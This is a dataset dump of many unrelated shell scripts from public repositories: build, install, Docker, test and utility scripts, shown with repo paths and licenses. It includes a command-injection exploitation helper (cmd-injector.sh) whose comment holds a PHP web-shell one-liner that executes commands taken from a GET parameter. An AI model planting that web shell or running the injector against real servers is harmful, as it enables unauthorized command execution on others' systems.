code stringlengths 2 1.05M | repo_name stringlengths 5 110 | path stringlengths 3 922 | language stringclasses 1
value | license stringclasses 15
values | size int64 2 1.05M |
|---|---|---|---|---|---|
#!/bin/sh
npm install -g --progress=false yarn
yarn
npm run package
| cxpqwvtj/himawari | docker/node-libs/build-client.sh | Shell | mit | 69 |
#!/bin/sh -x
menuselect/menuselect \
--enable-category MENUSELECT_ADDONS \
--enable-category MENUSELECT_APPS \
--enable-category MENUSELECT_CHANNELS \
--enable-category MENUSELECT_CODECS \
--enable-category MENUSELECT_FORMATS \
--enable-category MENUSELECT_FUNCS \
--enable-category MENUSELECT_RES \
--enable codec_opus ... | cleardevice/docker-asterisk-latest-pjsip-fail2ban | scripts/menuselect.sh | Shell | mit | 443 |
# module def: (look at oh-my-zsh and prezto, can we merge/incorporate?)
# bin/* install or symlink?
# topic/*.zsh source
# fpath function autoloads
# topic/path.zsh builds path
# topic/completion.zsh adds completions (look at prezto/oh-my-zsh)
# ... | ijcd/dotfiles | modules/dotfiles/dotfiles.zsh | Shell | mit | 1,742 |
#!/bin/bash
# simple script to download and extract rootfs image from docker git repository
# by parsing description file from https://github.com/docker-library/official-images/tree/master/library/<target>
# then, it perform clone of target git repo with rootfs archives, checkout to target commit and extract rootfs ar... | DarkCaster/Sandboxer | Examples/download-image-from-docker-repo.sh | Shell | mit | 6,139 |
docker pull logimethods/smart-meter:telegraf
docker pull logimethods/smart-meter:prometheus
docker pull logimethods/smart-meter:cassandra-inject
docker pull logimethods/smart-meter:cassandra
docker pull logimethods/smart-meter:inject
docker pull logimethods/smart-meter:monitor
docker pull logimethods/ek_nats-server
doc... | Logimethods/smart-meter | pull.sh | Shell | mit | 532 |
#!/usr/bin/env bash
cd "$(dirname "${BASH_SOURCE[0]}")" \
&& source "../.setup/initializer.sh"
# ---------------------------------------------
declare -r FNM_DIR="$HOME/.fnm"
declare -r FNM_INSTALL_FILE="https://raw.githubusercontent.com/Schniz/fnm/master/.ci/install.sh"
# ----------------------------------------... | yardnsm/dotfiles | fnm/install.sh | Shell | mit | 585 |
#!/bin/sh -eux
# install jmespath jp command-line json processor for linux 64-bit.
# install jp json processor. ---------------------------------------------------
jp_binary="jp-linux-amd64"
# create local bin directory (if needed).
mkdir -p /usr/local/bin
cd /usr/local/bin
# set current date for temporary filename.... | ed-barberis/devops-2.0 | provisioners/scripts/common/install_jmespath_jp_json_processor.sh | Shell | mit | 1,621 |
#!/bin/sh
# script for execution of deployed applications
#
# Sets up the MCR environment for the current $ARCH and executes
# the specified command.
#
exe_name=$0
exe_dir=`dirname "$0"`
echo "------------------------------------------"
if [ "x$1" = "x" ]; then
echo Usage:
echo $0 \<deployedMCRroot\> args
else
... | mowreyw/Retina-sim | Scripts/Shape dependence/run_lengthwidth_cluster.sh | Shell | mit | 876 |
#!/bin/bash
oosutils_create_user(){
echo "Creating OOS Utils User."
echo 'create user OOSUTILS_USER identified by "'${PASS}'" default tablespace USERS temporary tablespace TEMP' > create_user_custom.sql
echo "/" >> create_user_custom.sql
echo "alter user OOSUTILS_USER quota unlimited on USERS" >> crea... | Dani3lSun/docker-db-apex-dev | scripts/install_oosutils.sh | Shell | mit | 2,806 |
#!/bin/bash
rm -rf dist
python3 setup.py sdist
twine upload dist/*
| bjarneo/Pytify | release.sh | Shell | mit | 68 |
#!/bin/bash
dotnet test Warden.Services.WardenChecks.Tests.EndToEnd/Warden.Services.WardenChecks.Tests.EndToEnd.csproj | warden-stack/Warden.Services.WardenChecks | run-tests-e2e.sh | Shell | mit | 118 |
#!/bin/sh
set -e
echo "mkdir -p ${CONFIGURATION_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}"
mkdir -p "${CONFIGURATION_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}"
SWIFT_STDLIB_PATH="${DT_TOOLCHAIN_DIR}/usr/lib/swift/${PLATFORM_NAME}"
install_framework()
{
if [ -r "${BUILT_PRODUCTS_DIR}/$1" ]; then
local source="${BUILT_PRO... | shabib87/SHTwoDimensionalArray | Example/Pods/Target Support Files/Pods-SHTwoDimensionalArray_Tests/Pods-SHTwoDimensionalArray_Tests-frameworks.sh | Shell | mit | 3,600 |
if [[ $# = 1 ]]
then
file=$1
echo "gcc -g -o g${file%%.c} $file"
gcc -g -o g${file%%.c} $file
fi
| qrsforever/workspace | cpp/test/malloc/src2/build.sh | Shell | mit | 109 |
#!/bin/sh
# CYBERWATCH SAS - 2017
#
# Security fix for CESA-2009:1451
#
# Security announcement date: 2009-10-30 14:43:49 UTC
# Script generation date: 2017-01-01 21:10:01 UTC
#
# Operating System: CentOS 5
# Architecture: i386
#
# Vulnerable packages fix on version:
# - freeradius.i386:1.1.3-1.5.el5_4
# - free... | Cyberwatch/cbw-security-fixes | CentOS_5/i386/2009/CESA-2009:1451.sh | Shell | mit | 1,061 |
if [ ${TRAVIS_TAG} ] && [ ${NPM_TOKEN} ]
then
docker cp robs-fetch-build:/robs-fetch ./build_result
cd build_result
echo "//registry.npmjs.org/:_authToken=${NPM_TOKEN}" >> .npmrc
npm version --no-git-tag-version "${TRAVIS_TAG}"
if [ ${TRAVIS} ]
then
npm publish
fi
fi | gretro/robs-fetch | deploy.sh | Shell | mit | 285 |
#!/bin/sh
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/eth0/send_redirects
/sbin/iptables -t nat -A POSTROUTING -o eth0 -s 0.0.0.0/0 -j MASQUERADE
/sbin/iptables-save > /etc/sysconfig/iptables
mkdir -p /etc/sysctl.d/
cat <<EOF > /etc/sysctl.d/nat.conf
net.ipv4.ip_forward = 1
net.ipv4.conf.eth... | grosscol/hydra-bones | scripts/aws/nat_usr.sh | Shell | mit | 360 |
touch aplastic_anemia_results
for i in {1..31}
do
echo $i
egrep -i -l 'aplastic anemia' $i/*.txt >> aplastic_anemia_results
done
| andrewdefries/AplasticAnemia | BASH/grepAnemia.sh | Shell | mit | 132 |
kompile bp.k --transition "decl-var-empty decl-var decl-fun start-exec heat-not cool-not heat-eq-left cool-eq-left heat-eq-right cool-eq-right heat-neq-left cool-neq-left heat-neq-right cool-neq-right heat-and-left cool-and-left heat-and-right cool-and-right heat-or-left cool-or-left heat-or-right cool-or-right fun-cal... | roKmania/pdmc-samples | boolean-programs/v0/kompile.sh | Shell | mit | 598 |
#!/bin/bash
echo "Test de tabla de símbolos de archivos invalidos...";
for i in `find | grep fail | grep -v .svn`
do
echo $i
(java -jar ../../../jzas.jar -S $i 2>&1) > output.txt
variable=`cat output.txt | wc -c`;
if [ "$variable" = "0" ]; then
echo -e "ERROR"
echo $i;
echo -e "\n";
fi
excepciones=`ca... | scoffey/jz80sim | test/jzas/symboltable/test.sh | Shell | mit | 489 |
#!/usr/bin/env bash
docker-compose -f docker-compose-dev.yml up -d --force-recreate
cd src
npm i
npm start
| rhussmann/instagram-photo-picker | scripts/dev.sh | Shell | mit | 107 |
#!/usr/bin/env bash
function build_ixils() {
export LD_LIBRARY_PATH=`pwd`/core/build
mkdir core/build
cd core/build
cmake ..
make
cd ../..
cd gui
./gradlew clean build
gradle drive
cd ..
}
function clean_ixils() {
rm -rf core/build
cd gui
./gradlew clean
cd ..
}
if [[ $# != 1 ]]; t... | marcosbento/ixils | build.sh | Shell | mit | 498 |
c++ primes.c | vmlf01/nodejs-presentation | primes/compile_primes_c.sh | Shell | mit | 12 |
# Copy+paste this into your shell (or fix it so that's not required)
PWD=`pwd`
LIBPATH="${PWD}/lib"
PYTHONPATH="${LIBPATH}"
export PYTHONPATH
| MattFaus/CrowdTube-Connector | setup_env.sh | Shell | mit | 142 |
#!/usr/bin/env bash
set -e
ansible-playbook --syntax-check --list-tasks -i tests/hosts tests/playbook.yml &&
(echo 'syntax check: pass' && exit 0) || (echo 'syntax check: fail' && exit 1)
ansible-playbook -i tests/hosts tests/playbook.yml
stat /etc/fail2ban/filter.d/nginx-badbots.conf
stat /etc/fail2ban/jail.d/ngin... | alonisser/ansible_fail2ban_nginx | tests/test.sh | Shell | mit | 684 |
#!/bin/bash
#
# Script to (Dis/En)able Nagios Host & Service Notifications for Saturday Night Madness Servers
# ln nagiosSaturdayMadnessAlerts.bash ./nagiosSaturdayMadnessAlerts-Enable.bash
# cmd_typ 28 = Enable Notifications
# cmd_typ 29 = Disable Notifications
# ENV Vars
_DEBUG="on" # on/off
DATE_LOG=`date +%F_... | bsclark/scripthaus | nagios/nagiosSaturdayMadnessAlerts.bash | Shell | mit | 3,503 |
#!/bin/bash
mkdir build
cd build
#generate cmake project in the "build" folder
cmake ..
#build it
make
#move to working data folder with resources
cd ../../data
#run executable
./../proj.cmake/build/Demo | Taikatou/oxygine-framework | examples/Demo/proj.cmake/run.sh | Shell | mit | 208 |
#!/usr/bin/env bash
#Install des utilitaires
#zf170908.1704, zf201025.1830
echo ---------- install des utilitaires
sudo apt-get update
sudo apt-get -y install htop git unzip jq sudo curl nano feh graphviz
echo "source ~/deploy-proxmox/alias" >> ~/.bashrc
echo "source ~/deploy-proxmox/zfunctions.sh" >> ~/.bashrc
ech... | zuzu59/deploy-proxmox | install_utils.sh | Shell | mit | 658 |
#!/bin/sh
# CYBERWATCH SAS - 2017
#
# Security fix for USN-1569-1
#
# Security announcement date: 2012-09-17 00:00:00 UTC
# Script generation date: 2017-01-01 21:02:53 UTC
#
# Operating System: Ubuntu 12.04 LTS
# Architecture: x86_64
#
# Vulnerable packages fix on version:
# - php5:5.3.10-1ubuntu3.4
#
# Last vers... | Cyberwatch/cbw-security-fixes | Ubuntu_12.04_LTS/x86_64/2012/USN-1569-1.sh | Shell | mit | 675 |
#!/bin/bash
export COMPOSE_FILE=docker-compose.test.yml
export COMPOSE_PROJECT_NAME=monstache
# The network created by docker-compose will be called ${COMPOSE_PROJECT_NAME}_test as we have the network test in docker-compose
docker-compose down --remove-orphans ; docker-compose up --force-recreate --build --abort-on-... | rwynn/monstache | docker/test/run-tests.sh | Shell | mit | 356 |
#!/bin/sh
# CYBERWATCH SAS - 2017
#
# Security fix for DLA-173-1
#
# Security announcement date: 2015-03-15 00:00:00 UTC
# Script generation date: 2017-01-01 21:08:53 UTC
#
# Operating System: Debian 6 (Squeeze)
# Architecture: i386
#
# Vulnerable packages fix on version:
# - putty:0.60+2010-02-20-1+squeeze3
#
# ... | Cyberwatch/cbw-security-fixes | Debian_6_(Squeeze)/i386/2015/DLA-173-1.sh | Shell | mit | 642 |
#!/bin/bash
# Abort if the SINOPIA_BUCKET was not provided
if [ -z $SINOPIA_BUCKET ]; then
echo "You need to set SINOPIA_BUCKET environment variable. Aborting!"
exit 1
fi
# Abort if the AWS_ACCESS_KEY_ID was not provided
if [ -z $AWS_ACCESS_KEY_ID ]; then
echo "You need to set AWS_ACCESS_KEY_ID environment vari... | ndigati/docker-sinopia | variable_check.sh | Shell | mit | 1,185 |
#!/bin/sh
ECHO=/bin/echo
${ECHO}
${ECHO} "===================="
${ECHO} "Running syntax tests"
${ECHO} "===================="
${ECHO}
cd `dirname $0`/.. > /dev/null
ROOT=`pwd`
TESTS=${ROOT}/tests
RULES=${TESTS}/input/syntax-test.rq
cd ${TESTS} > /dev/null
INSTANS=../../instans/bin/instans
RESULTSDIR=syntax-test-result... | aaltodsg/instans | scripts/run-sparql-syntax-tests-csv.sh | Shell | mit | 8,818 |
#!/usr/bin/env bash
clear
cd ../../
shopt -s dotglob
find * -prune -type d | while read d; do
cd "$d"
echo -n "$d"
output=$(git status)
if [[ ${output} == *"Changes not staged for commit"* ]]; then
echo -n "*"
touch ".dirty"
fi
echo ""
cd ../
done
| phpzm/core | scripts/review.sh | Shell | mit | 294 |
#!/bin/bash
for i in {1..5}
do
racket hw1-$i-grade.rkt
done
| FredJeong/pp-material | hw1/grade.sh | Shell | mit | 62 |
#! /bin/bash
helpString="
iconAnnotate is a generic script to annotate icons for different environments.
It annotates release mode and app version number in colored header and footer
sections of application icons.
Icons MUST be contained in their isolated folder.
OPTIONS:
-w=<workspace> REQUIRED - icons fi... | hadibadjian/icAnn | icAnn.sh | Shell | mit | 3,255 |
#!/bin/bash
cd apps
mkdir gmpy2
cd gmpy2
wget https://ftp.gnu.org/gnu/gmp/gmp-5.1.3.tar.bz2 && tar xjf gmp-5.1.3.tar.bz2
cd gmp-5.1.3
./configure --prefix=/home/jmblab/statonse/apps/gmpy2
make
make check
make install
cd ..
## Download mpir, mpfr, mpc, gmpy2 full source from https://code.google.com/p/gmpy/downloads/l... | sestaton/sesbio | transposon_annotation/shell_scripts/build_ecolopy.sh | Shell | mit | 1,283 |
#!/bin/sh
die() {
echo "$@" >&2
exit 1
}
set -ex
cd $(dirname $0)
# for protoc
PATH=$HOME/devel/left/protobuf/src:$GOPATH/bin:$PATH
protoc_ver=$(protoc --version)
case "$protoc_ver" in
"libprotoc 3"*) ;;
*) die "protoc version 3 required: $protoc_ver" ;;
esac
protoc -I.. --go_out=plugins=grpc:long... | stepancheg/grpc-rust | long-tests/with-go/gen-go.sh | Shell | mit | 379 |
#!/bin/sh
set -e
# Fetch translations updates:
crowdin-cli download
# Now work around deficiencies in Crowdin's CLI tools and remove bogus files:
# Remove platform-specific language files where the platform doesn't know that
# language:
remove_unsupported_languages()
{
rm -f locales/win/windows_strings-Aragone... | huoxudong125/poedit | scripts/update-translations-from-crowdin.sh | Shell | mit | 2,304 |
#!/bin/bash
XCODE_SNIPPETS_DIR=~/Library/Developer/Xcode/UserData/CodeSnippets/
# Copy all ".codesnippets" files to the user Xcode snippets directory.
cp *.codesnippet $XCODE_SNIPPETS_DIR
echo Installed snippets in $XCODE_SNIPPETS_DIR
echo Restart Xcode if it is currently open to use snippets.
| vokal/iOS_SharedSnippets | install.sh | Shell | mit | 298 |
#!/bin/sh
# CYBERWATCH SAS - 2017
#
# Security fix for USN-2804-1
#
# Security announcement date: 2015-11-09 00:00:00 UTC
# Script generation date: 2017-01-01 21:04:54 UTC
#
# Operating System: Ubuntu 12.04 LTS
# Architecture: x86_64
#
# Vulnerable packages fix on version:
# - linux-image-3.13.0-68-generic:3.13.0... | Cyberwatch/cbw-security-fixes | Ubuntu_12.04_LTS/x86_64/2015/USN-2804-1.sh | Shell | mit | 928 |
#!/usr/bin/env bash
THEME_FILE=$DOT/themes/theme.sh
# Sometimes the custom path is empty. Use default one
ZSH_CUSTOM="$ZSH/custom"
# Oh My ZSH Bullet Train theme
BULLET_DIR=$ZSH_CUSTOM/themes/bullet-train.zsh-theme
ln -s $THEME_FILE $BULLET_DIR
sed -i '' 's/ZSH_THEME="robbyrussell"/ZSH_THEME="bullet-train"/g' ~/.zs... | esafirm/dotfiles | themes/setup.sh | Shell | mit | 323 |
#!/bin/bash
out_color() {
echo -e "\033[$*\033[0m"
}
#error
out_e() {
out_color "31m$1"
}
#warning
out_w() {
out_color "33m$1"
}
#notice
out_n() {
out_color "34m$1"
}
#debug
out_d() {
out_color "2m$1"
}
#success
out_s() {
out_color "32m$1"
} | xwsoul/SmallMachineSetups | libs/output.sh | Shell | mit | 271 |
#!/bin/sh
# ----------------------------------------------------
# Nico Golde <nico@ngolde.de>
# License: do whatever you want with this code
# Purpose: locate new queries for the ii irc client
# ----------------------------------------------------
IRCPATH=$HOME/irc
TMPFILE=$IRCPATH/queries.tmp
if [ ! -f $TMPFILE ]; ... | krl/ii | query.sh | Shell | mit | 898 |
#!/bin/sh
set -e
set -u
set -o pipefail
if [ -z ${FRAMEWORKS_FOLDER_PATH+x} ]; then
# If FRAMEWORKS_FOLDER_PATH is not set, then there's nowhere for us to copy
# frameworks to, so exit 0 (signalling the script phase was successful).
exit 0
fi
echo "mkdir -p ${CONFIGURATION_BUILD_DIR}/${FRAMEWORKS_FOLDER_P... | Sitata/sdk-ios | Example/Pods/Target Support Files/Pods-SitataCore_Example/Pods-SitataCore_Example-frameworks.sh | Shell | mit | 7,775 |
#!/bin/sh
sudo ps aux | grep 'scratch2mcpi.py' | grep -v grep | awk '{print $2}' | xargs sudo kill -9
lxterminal -t Scratch2MCPI -e python $HOME/scratch2mcpi/scratch2mcpi.py
| scratch2mcpi/scratch2mcpi | scratch2mcpi_terminal.sh | Shell | mit | 175 |
#!/bin/bash
set -xe
gsettings set com.solus-project.brisk-menu hot-key Menu
| ayufan-pine64/linux-build | package/root/usr/local/bin/fix-brisk-menu-key.sh | Shell | mit | 78 |
#!/bin/bash
# create multiresolution windows icon
ICON_SRC=../../src/qt/res/icons/unobtanium.png
ICON_DST=../../src/qt/res/icons/unobtanium.ico
convert ${ICON_SRC} -resize 16x16 unobtanium-16.png
convert ${ICON_SRC} -resize 32x32 unobtanium-32.png
convert ${ICON_SRC} -resize 48x48 unobtanium-48.png
convert unobtanium-1... | unobtanium-official/Unobtanium | share/qt/make_windows_icon.sh | Shell | mit | 375 |
if (( $+commands[kubectl] )); then
eval "$(flyctl completion zsh)"
compdef _flyctl fly
fi
| jacobwgillespie/dotfiles | config/fly.zsh | Shell | mit | 94 |
ehsan@sandbox /etc/php5 % sudo php5enmod mcrypt
| journalehsan/Sandbox-Book | Code/codephp10.sh | Shell | cc0-1.0 | 48 |
#!/bin/bash
# For those with Git versions < 1.6.5, you need to do the submodule checkout recursion manually
## Presumably, you've done this already
#git clone git@github.com:ccnmtl/mediathread.git
#cd mediathread
git submodule init
#make our project checkouts
git submodule update
#now recurse into sherdjs
cd djangos... | appsembler/mediathread-backup | checkout.sh | Shell | gpl-2.0 | 384 |
#!/bin/bash
gsettings set org.gnome.settings-daemon.plugins.xsettings overrides "{'Gtk/ShellShowsAppMenu': <0>, 'Gtk/ShellShowsMenubar': <0>}"
| budgie-desktop/budgie-global-menubar-applet | disable.sh | Shell | gpl-2.0 | 144 |
. /lib/functions/network.sh
wpa_supplicant_add_rate() {
local var="$1"
local val="$(($2 / 1000))"
local sub="$((($2 / 100) % 10))"
append $var "$val" ","
[ $sub -gt 0 ] && append $var "."
}
hostapd_add_rate() {
local var="$1"
local val="$(($2 / 100))"
append $var "$val" " "
}
hostapd_append_wep_key() {
loca... | jchuang1977/openwrt | package/network/services/hostapd/files/hostapd.sh | Shell | gpl-2.0 | 27,637 |
cd $1
for i in qml/*.qml; do
if ! grep $i resources.qrc &> /dev/null ; then
echo "error:" $i not in resources.qrc
exit 1
fi
done
for i in qml/*.qml; do
if ! grep $i src.pro &> /dev/null ; then
echo "error:" $i not in src.pro
exit 1
fi
done
exit 0
| iamsergio/flow-pomodoro | src/validate_qrc.sh | Shell | gpl-2.0 | 298 |
#Directory version is currently the recommended and supported version
#However the branch version has the benifits of less space required
#But the directory aproach is less complicated and also automatically
#strips source safe references for the git repo, which reduces confusion for VStudio
alias sspush=sspush... | chrispepper1989/GitVssInterop | gitvssinterop.sh | Shell | gpl-2.0 | 15,249 |
#!/bin/bash
# Copyright (C) 2000-2008, Parallels, Inc. All rights reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any late... | open-sw/vzctl | etc/dists/scripts/redhat-add_ip.sh | Shell | gpl-2.0 | 5,424 |
#! /bin/sh -e
# tup - A file-based build system
#
# Copyright (C) 2012-2022 Mike Shal <marfey@gmail.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distribu... | gittup/tup | test/t8010-variant-new-dir.sh | Shell | gpl-2.0 | 1,182 |
#!/bin/sh
#
# License: GNU General Public License (GPL)
# Copyright 2001 horms <horms@vergenet.net>
# (heavily mangled by alanr)
#
# bootstrap: set up the project and get it ready to make
#
# Basically, we run autoconf, automake and libtool in the
# right way to get things set up for this environment.
#
# We also look... | ClusterLabs/pacemaker-1.0 | autogen.sh | Shell | gpl-2.0 | 5,080 |
#!/bin/bash
#
# Author: Shuang.Ca <ylqjgm@gmail.com>
# Home: http://llnmp.com
# Blog: http://shuang.ca
#
# Version: Ver 0.4
# Created: 2014-02-07
# Updated: 2014-03-31
# Changed: 安装选项调整, 模块化安装
# Updated: 2014-04-12
# Changed: 更新LiteSpeed到4.2.9版本
# Updated: 2014-04-13
# Changed: 更新缓存组件选择, 去除eAccelerator
# Updated: 2014-... | ylqjgm/LLNMP | install.sh | Shell | gpl-2.0 | 12,192 |
#!/bin/bash
me=`basename $0`
function usage(){
echo "Usage: $me allowed-users..."
echo "Polls Twitter for direct messages that contain an executable instruction and executes that instruction."
echo "The instruction result is returned as a direct message to the sender."
echo ""
echo "Mandatory arguments:"
e... | jeroenpeeters/twitter-exec | twitter-exec.sh | Shell | gpl-2.0 | 1,526 |
#!/bin/bash
. $RADIVSCRIPTS/funcs/functions_radivity.sh
. $RADIVSCRIPTS/funcs/functions_mod.sh
. $RADIVSCRIPTS/funcs/functions_irrad.sh
. $RADIVSCRIPTS/funcs/progbar.sh
lib_path=$HOME/bin/radivity/lib
PARSED_OPTIONS=$(getopt -n "$0" -o abcdefghC:w:m:l:x: --long "no_climate,no_images,no_octrees,no_overture,refi... | wolfris/radivity | radivity/scripts/irrad_options.sh | Shell | gpl-2.0 | 5,748 |
#!/bin/bash
set -e
# bug number: 16356
ALWAYS_EXCEPT="12a $REPLAY_VBR_EXCEPT"
SAVE_PWD=$PWD
LUSTRE=${LUSTRE:-$(cd $(dirname $0)/..; echo $PWD)}
SETUP=${SETUP:-}
CLEANUP=${CLEANUP:-}
MOUNT_2=${MOUNT_2:-"yes"}
. $LUSTRE/tests/test-framework.sh
init_test_env $@
. ${CONFIG:=$LUSTRE/tests/cfg/$NAME.sh}
init_logging
r... | behlendorf/lustre | lustre/tests/replay-vbr.sh | Shell | gpl-2.0 | 38,057 |
#!/bin/run_test
head -c 1 /dev/zero > /mnt/slave/new_file1
head -c 10 /dev/zero > /mnt/slave/new_file2
head -c 512 /dev/zero > /mnt/slave/new_file3
head -c 513 /dev/zero > /mnt/slave/new_file4
head -c 4096 /dev/zero > /mnt/slave/new_file5
head -c 8192 /dev/zero > /mnt/slave/new_file6
head -c 1... | DSMan195276/protura | userspace/root/tests/ext2/test_single_small_truncate.sh | Shell | gpl-2.0 | 891 |
#!/usr/bin/env sh
# -*- coding: utf-8 -*-
#
# This file is part of Invenio.
# Copyright (C) 2017 CERN.
#
# Invenio is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your... | rikirenz/inspire-json-merger | run-tests.sh | Shell | gpl-2.0 | 1,074 |
# (c) 2014-2015 Sam Nazarko
# email@samnazarko.co.uk
#!/bin/bash
. ../common.sh
if [ "$1" == "rbp2" ] || [ "$1" == "rbp4" ] || [ "$1" == "pc" ] || [ "$1" == "vero3" ]
then
pull_source "https://github.com/xbmc/xbmc/archive/2382f8e725d1865a22b6ef7a24e6b64f078c2e01.tar.gz" "$(pwd)/src"
API_VERSION="19"
else
pull_source... | osmc/osmc | package/mediacenter-osmc/build.sh | Shell | gpl-2.0 | 17,259 |
#! /bin/sh
# Copyright (C) 2011-2017 Free Software Foundation, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
#
# This program ... | Starlink/automake | t/check-exported-srcdir.sh | Shell | gpl-2.0 | 1,467 |
#!/bin/sh
# Copyright (C) 1999-2005 ImageMagick Studio LLC
#
# This program is covered by multiple licenses, which are described in
# LICENSE. You should have received a copy of LICENSE with this
# package; otherwise see http://www.imagemagick.org/script/license.php.
. ${srcdir}/tests/common.shi
${RUNENV} ${MEMCHECK} ... | atmark-techno/atmark-dist | user/imagemagick/tests/rwfile_MNG_bilevel.sh | Shell | gpl-2.0 | 362 |
#!/bin/bash
#
# Command Injector v0.1
# greg.foss[at]owasp.org
# 10/1/2014
#
# modified version of dirtshell by 'superkojiman' for exploiting command injection vulnerabilities / accessing web shells via cli
# http://blog.techorganic.com/2012/06/lets-kick-shell-ish-part-1-directory.html
#
#<?=`$_GET[c]`?>
function usa... | gfoss/misc | Bash/cmd-injector.sh | Shell | gpl-2.0 | 1,243 |
#!/bin/sh
# See requirements: https://github.com/je-nunez/testing_linux_eBPF_probes#required-libraries
# Take and print samples 1440 times every 60 seconds
./testing_ebpf.py -n 1440 -i 60 2>&1 | tee -a samples.txt
| je-nunez/testing_linux_eBPF_probes | example.sh | Shell | gpl-2.0 | 220 |
# preparation script for running keyring tests
# Find the relative path from pwd to the directory holding this file
includes=${BASH_SOURCE[0]}
includes=${includes%/*}/
# --- need to run in own session keyring
if [ "x`keyctl rdescribe @s | sed 's/.*;//'`" != "xRHTS/keyctl/$$" ]
then
echo "Running with session keyr... | Distrotech/keyutils | tests/prepare.inc.sh | Shell | gpl-2.0 | 2,278 |
#!/bin/bash
set -eux -o pipefail
install --mode 777 --directory cache log src
repos=(
wikimedia/fundraising/crm
wikimedia/fundraising/crm/civicrm-buildkit
wikimedia/fundraising/crm/civicrm
)
for repo in "${repos[@]}"; do
docker run --rm -it \
--volume /"$(pwd)"/src://src \
--entrypoin... | wikimedia/integration-config | dockerfiles/civicrm/example-run.sh | Shell | gpl-2.0 | 817 |
#!/bin/bash
#
# (C)2013 Red Hat, Inc., Jimmy Pan <jipan@redhat.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
#
... | vgmoose/ssm | tests/bashtests/011-lvm-list.sh | Shell | gpl-2.0 | 14,315 |
#!/bin/bash
#
#Qiime pipeline by Gregg Iceton
#
#Expects a directory to exist whose name is passed at the command line
#e.g. ./qiime_pipline.sh YOUR_FILE_NAME
#This directory should contain e.g. YOUR_FILE_NAME.fastq and YOUR_FILE_NAMEmap.txt
#Note that the mapping file name format!
#Any pre-existing directories or file... | greggiceton/qiime_pipeline | qiime_pipeline.sh | Shell | gpl-2.0 | 4,004 |
#! /bin/sh
SCRIPTNAME=$0
WRAPPED_SCRIPT=$1
shift
die()
{
if ! test -z "$DBUS_SESSION_BUS_PID" ; then
echo "killing message bus "$DBUS_SESSION_BUS_PID >&2
kill -9 $DBUS_SESSION_BUS_PID
fi
echo $SCRIPTNAME: $* >&2
exit 1
}
if test -z "$DBUS_TOP_BUILDDIR" ; then
die "Must set DBUS_T... | asoneofus/v350 | FADG_4.39A/external/dbus/tools/run-with-tmp-session-bus.sh | Shell | gpl-2.0 | 2,142 |
#!/bin/bash
# Only strings with domain specified are extracted (use Xt args of keyword param to set number of args needed)
xgettext *.php */*.php --copyright-holder='Ideabox Development Team' --package-name='GLPI - Ideabox plugin' --package-version='2.0.0' -o locales/glpi.pot -L PHP --add-comments=TRANS --from-code=U... | elitelinux/hack-space | php/plugins/ideabox/tools/extract_template.sh | Shell | gpl-2.0 | 510 |
#!/bin/sh
set -e
retry=0
until docker exec -i jsql-mysql-5-5-40 mysql -uroot -pmy-secret-pw -e "select 'jsqlValue' as jsqlColumn"; do
retry=$((retry+1))
if [ $retry -gt 30 ] ; then
exit 1
fi
>&2 echo "Mysql is unavailable - sleeping #${retry}"
sleep 1
done
>&2 echo "Mysql is up - executing comma... | ron190/jsql-injection | model/src/test/resources/docker/healthcheck/mysql-5-5-40.sh | Shell | gpl-2.0 | 324 |
#!/bin/sh
arch=x86
archdir=Win32
clean_build=true
cross_prefix=
for opt in "$@"
do
case "$opt" in
x86)
;;
x64 | amd64)
arch=x86_64
archdir=x64
cross_prefix=x86_64-w64-mingw32-
;;
quick)
clean_build=false
;;
*)
... | strukturag/LAVFilters | build_ffmpeg.sh | Shell | gpl-2.0 | 4,141 |
#!/bin/sh
#------------------------------------------------------------------------------
# compile and load all modules that are relevant for bootstrapping
# prerequisites: a working system is available with
# - bootstrap-independent scripts and commands in ibindir
# (just genobrts and tof2elf are looked up here)
# ... | norayr/ulm_oberon_system | src/util/obstage/mk_obstage.sh | Shell | gpl-2.0 | 2,197 |
for i in {1..7}; do ./gettemp.py $i; done
| Hackable-magazine/Hackable8 | collect_temp_Python_Pi/go.sh | Shell | gpl-2.0 | 42 |
valgrind -v --leak-check=full --track-origins=yes --log-file=valgrind.log ./main 8 100
| yyang19/bufferbtree | valgrind.sh | Shell | gpl-2.0 | 88 |
#!/usr/bin/env bash
#set -xv
#####################################################################
#
# Name: Luke Collins
# Date: 19/03/2018
# Script Description: Script to update LDAP certs
# Version: 1.0
# Copyright: Cop... | LukeCollins-net/Ops-Tools | cloud/generic/scripts/ldap_update_ssl.sh | Shell | gpl-3.0 | 1,329 |
#!/bin/sh
cd `dirname $0`
exec erl -pa $PWD/ebin $PWD/deps/*/ebin -s test_spawn_single main
| sivieri/crest-erlang | test_spawn_single.sh | Shell | gpl-3.0 | 92 |
#!/bin/sh
export GR_DONT_LOAD_PREFS=1
export srcdir=/home/aviral/GNU-Niyantran/gr36/gnuradio-core/src/python/gnuradio/gr
export PATH=/home/aviral/GNU-Niyantran/build/gr36/gnuradio-core/src/python/gnuradio/gr:$PATH
export LD_LIBRARY_PATH=/home/aviral/GNU-Niyantran/build/lib:/home/aviral/GNU-Niyantran/build/PMC/lib:/home... | aviralchandra/Sandhi | build/gr36/gnuradio-core/src/python/gnuradio/gr/qa_affinity_test.sh | Shell | gpl-3.0 | 1,141 |
#!/bin/bash
#############################################################################
# Copyright (C) 2011 Tadeus Prastowo (eus@member.fsf.org) #
# #
# This program is free software: you can redistribute it and/or modify ... | eus/tc_rocchio | run_experiment.sh | Shell | gpl-3.0 | 24,192 |
#!/bin/sh
set -e
mkdir -p "${CONFIGURATION_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}"
RESOURCES_TO_COPY=${PODS_ROOT}/resources-to-copy-${TARGETNAME}.txt
> "$RESOURCES_TO_COPY"
XCASSET_FILES=()
realpath() {
